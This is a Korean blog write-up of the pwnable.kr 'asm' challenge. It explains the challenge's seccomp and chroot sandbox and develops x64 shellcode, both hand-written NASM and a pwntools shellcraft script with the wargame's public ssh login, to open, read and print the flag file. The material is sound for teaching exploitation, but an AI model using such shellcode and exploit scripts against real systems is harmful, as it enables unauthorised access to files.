[pwnable.kr] asm

2018. 7. 27. 01:32

아주 오랜만에 pwnable.kr 문제를 풀러왔다.




6점짜리라서 다른 것보다 쉬울 줄 알았는데; 쉘코드를 만들어야한다... 이ㄹ..

접속해보면 아래와 같은 것들을 볼 수 있다.



바이너리 파일이 하나 있고, readme랑 this_is~~~하는 파일이 하나 있는데

readme의 내용은 아래와 같다.


once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.

make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory) 


nc 0 9026으로 접속하여 asm_pwn의 권한으로 플래그를 읽으라는 것 같다.

asm 바이너리 파일이 9026포트에서 돌아가고 있고, 이 파일은 64bit 바이너리파일이다.



실행해보면 아래와 같이 출력된다.


asm@ubuntu:~$ ./asm 

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode:  


64bit 쉘코드를 작성해야하는 상황이다. 게다가 SECCOMP sandbox에서 작성해야하는데, asm의 코드를 보면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
 
#define LENGTH 128
 
void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }
 
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
 
    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}
 
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");
 
    char* sh = (char*)mmap(0x414140000x10007, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 00);
    memset(sh, 0x900x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
 
cs


먼저 mmap으로 메모리맵을 생성한다. 
mmap함수의 원형은 void * mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 이고, 설명은 아래와 같다.

mmap() 함수는 fd로 지정된 파일(혹은 다른 객체)에서 offset을 시작으로 length바이트 만큼을 start주소로 대응시키도록 한다. start주소는 단지 그 주소를 사용했으면 좋겠다는 정도로 보통 0을 지정한다. mmap는 지정된 영역이 대응된 실제 시작위치를 반환한다. prot인자는 원하는 메모리:::보호모드(:12)를 설정한다. 사용할 수 있는 비트는 다음과 같다.


자세한 내용은 여기서 확인할 수 있다.

mmap함수는 리턴값으로 메모리맵 생성성공시 대응되는 영역의 포인터를 반환하므로, 0x41414000의 영역이 반환될 것이다.

그 후 사용자로 부터 입력을 받고, alarm(10)을 설정후, chroot("/home/asm_pwn");// you are in chroot jail. so you can't use
 symlink in /tmp를 실행하여 jail에 갇히게 된다. 저 함수로 인해, 우리는 /home/asm_pwn 폴더에서 벗어날 수 없게 된다. 이걸 프로세스가 고립됬다고 하는데, 그래서 jail이란 표현을 쓴다고 한다.

그리고 sandbox()함수를 실행하는데, 프로그램을 처음 실행했을  때 설명에도 나오듯, SECCOMP sandbox라고 이 함수로 인해 우리는 open(), read(), write(), exit() 만 쓸수있게 된다. 

SECCOMP은 secure computing mode의 약자로 리눅스 커널에서 애플리케이션 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능입니다.

system call을 통해 기능을 활성화 시키면, 이를 호출한 프로세스에 있는 모든 fd들에 대해서 read, write, exit, sigreturn을 제외한 모든 system call 호출이 불가능 해집니다. 만약 다른 시스템 호출을 시도한다면, 커널이 SIGKILL로 프로세스를 종료시킵니다. 즉, 시스템의 자원을 가상화하는 것이 아니라 프로세스를 고립시키는 것이라고 할 수 있습니다. 

출처 : http://nroses-taek.tistory.com/151


그래서 우리는 open(), read(), write(), exit() 만으로 쉘코드를 만들어서 flag를 읽으면 된다. 사실 open(), read(), write()만 있으면 flag를 읽을 수 있다.



다시 문제로 돌아와서 보면 read함수로 사용자로부터 쉘코드를 입력받아 실행하는데, 여기서 stub[]이란 녀석을 우리의 쉘코드앞에 붙여서 실행하게 된다.

이 stub[]이 어떤 코드인지 disassemble해보면 아래와 같다.



그냥 레지스터들을 0으로 초기화해주는 역할을 한다.

그냥 무시하고 쉘코드를 작성해도 된다.


우리는 read, open, write, exit를 쓸 수 있다.

  1. open(flag, 0, 0)   # O_RDONLY=0
  2. read(3, bss, 100)
  3. write(stdout, bss, 100)

위와 같은 쉘코드를 작성하면 될 것 같다.

그래서 처음에 아래와 같은 쉘코드를 작성했으나... Bad system call 이라는 문구와 함께 자구 죽어버렸다 ㅡㅡ;

참고 - 리눅스 64bit syscall table


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
global _start
_start
        jmp go
func:
        mov al, 0x2
        pop rdi
        syscall
 
        push rax
        pop rdi
        mov rsi, 0x41414710
        mov dx, 0x111
        xor rax, rax
        syscall
 
        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall
 
go:
        call func
        db 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_lon~~g'
cs



그래서 생각해보니, call func을 실행하면서 이게 죽는거 같은 생각이 들었다..
syscall 뿐만아니라 call도 이걸 막아버리는 것인가;; 싶어서 다시 한번 짜보았다.

이번에는 그냥 _start에서 syscall을 부르고, flag파일의 주소는 0x41414050으로 넣어주었다. (쉘코드 뒤에 파일명을 넣게되면 저 위치에 들어가게 된다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
global _start
_start:
        mov al, 0x2
        mov rdi, 0x41414050
        syscall
 
        push rax
        pop rdi
        mov rsi, 0x41414710
        mov dx, 0x111
        xor rax, rax
        syscall
 
        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall
 
cs

sherlock@ubuntu:~$ nasm -f elf64 shell.asm

sherlock@ubuntu:~$ ld shell.o

sherlock@ubuntu:~$ objcopy -O binary a.out shell.bin

sherlock@ubuntu:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shell.bin 


컴파일과 링킹을 마치고, 위와 같이 실행하면 쉘코드를 얻을 수 있다.



이제 asm_pwn의 권한을 얻어 flag를 획득할 수 있다.






찾아보니 pwntools의 shellcraft를 이용하면 쉘코드를 쉽게 만들수 있다고 한다.

관련 문서는 여기에 있다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
 
context(arch='amd64', os='linux')
 
filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'
 
shellcode = ""
shellcode += shellcraft.pushstr(filename)
shellcode += shellcraft.open('rsp'0)
shellcode += shellcraft.read('rax''rsp'100)
shellcode += shellcraft.write(1'rsp'100)
 
= ssh(user='asm',host='pwnable.kr',port=2222,password='guest')
conn = s.connect_remote('localhost'9026)
 
conn.recvuntil("give me your x64 shellcode:")
conn.sendline(asm(shellcode))
conn.interactive()
cs



rsp에 파일명을 올리고, rsp에 쓰고, 읽다보니 flag과 파일명이 이어져서 출력되었다.

어쨋든 이렇게도 할 수 있다~


'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] unlink  (0) 2018.08.01
[pwnable.kr] memcpy  (0) 2018.07.27
[pwnable.kr] leg  (0) 2018.06.08
[pwnable.kr] cmd2  (0) 2018.06.08
[pwnable.kr] uaf - 8 pt  (0) 2018.05.31

+ Recent posts